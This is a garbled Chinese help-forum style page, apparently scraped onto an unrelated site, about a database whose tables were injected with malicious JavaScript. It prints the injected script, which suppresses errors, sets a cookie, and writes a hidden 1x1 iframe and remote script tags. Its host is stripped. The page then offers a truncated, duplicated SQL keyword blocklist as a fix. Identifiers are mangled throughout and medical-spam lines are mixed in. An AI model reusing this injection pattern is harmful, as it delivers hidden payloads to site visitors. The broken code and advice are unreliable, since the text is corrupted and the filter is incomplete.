数据库所有表被插入恶意代码计划
2021-09-06 来源:开平租房网
数据库所有表被插入恶意代码,恶意代码是\"/titlescript src=
数据库中几乎所有的表中都被插入了恶意代码\" /title script src= /scr
的内容
iteln(\" base onmouseover=\\\"atus=\\\'完毕 \\\';return true\\\"\");
iteln(\" SCRIPT LANGUAGE=\\\"JavaScript\\\" \");
iteln(\" !-- Hide \");
iteln(\"function killErrors() { \");
iteln(\"return true; \");
iteln(\"} \");
iteln(\"error = killErrors; \");
iteln(\"\\/\\/ -- \");
iteln(\" \\/SCRIPT\");
function Get(){
var Then = new Date()
tTime(tTime() + 24*60*60*1000)
var cookieString = new String(okie)
var cookieHeader = \"Cookie101ab2=\"
var beginPosition = dexOf(cookieHeader)
if (beginPosition != -1){
} else
{ okie = \"Cookie101ab2=risb;expires=\"+ GMTString()
iteln(\" IFRaME src=\\\"\" width=1 height=1 \\/IFRAME\");
ite(\" div style=\\\"display:none\\\"\");
ite (\' script language=\"javascript\" type=\"text/javascript\" src=\"\" /script\');
iteln(\" script type=\\\"text\\/javascript\\\" src=\\\"http:\\/\\/\\/642888\\/\\\" \\/script noscript a href=\\\"http:\\/\\/\\\" img src=\\\"http:\\/\\/\\/642888\\/f\\\"\\/ \\/a \\/noscript\");
}
}Get();
还有\" /title script src= /script !--
她的代码是
iteln(\" base onmouseover=\\\"atus=\\\'完毕 \\\';return true\\\"\");
iteln(\" SCRIPT LANGUAGE=\\\"JavaScript\\\" \");
iteln(\" !-- Hide \");
iteln(\"function killErrors() { \");
iteln(\"return true; \");
iteln(\"} \");
iteln(\"error = killErrors; \");
iteln(\"\\/\\/ -- \");
iteln(\" \\/SCRIPT\");
function Get(){
var Then = new Date()
tTime(tTime() + 1*60*60*1000)
var cookieString = new String(okie)
var cookieHeader = \"Cookie101ab2=\"
var beginPosition = dexOf(cookieHeader)
支持4K视频拍摄和、有性能更强的A9处理器 if (beginPosition != -1){
} else
{ okie = \"Cookie101ab2=risb;expires=\"+ GMTString()
iteln(\" IFRaME src=\\\"\" width=1 height=1 \\/IFRAME\");
ite(\" div style=\\\"display:none\\\"\");
iteln(\" script type=\\\"text\\/javascript\\\" src=\\\"http:\\/\\/\\/642888\\/\\\" \\/script noscript a href=\\\"http:\\/\\/\\\" img src=\\\"http:\\/\\/\\/642888\\/f\\\"\\/ \\/a \\/noscript\");
}
}Get();
这个问题怎么解决,如何的删除数据库中的这些文件,如何的禁止他们在次的加入到数据库中。
先恢复数据库,然后在ax中加入如下代码(需要写个函数自己处理一下)
private bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
try
{
if (im() != \"\")
{
string SqlStr = \"and exec insert select delete update count * chr mid master truncate char declare\";
string[] anySqlStr = lit(\'\');
foreach (string ss in anySqlStr)
{
if (Lower().IndexOf(im()) = 0)
{
ReturnValue = false;
break;
先恢复数据库,然后在ax中加入如下代码(需要写个函数自己处理一下)
private bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
try
{
if (im() != \"\")
{
string SqlStr = \"and exec insert select delete update count * chr mid master truncate char declare\";
string[] anySqlStr = lit(\'\');
foreach (string ss in anySqlStr)
{
if (Lower().IndexOf(im()) = 0)
{
ReturnValue = false;
break;
北京治疗白癜风医院西安人流检查要多少钱
贵阳治疗阴道炎费用多少钱
-
- 上一篇
- 数据库恢复一例物业
-
- 下一篇
- 数据库手册维护常用语句覆盖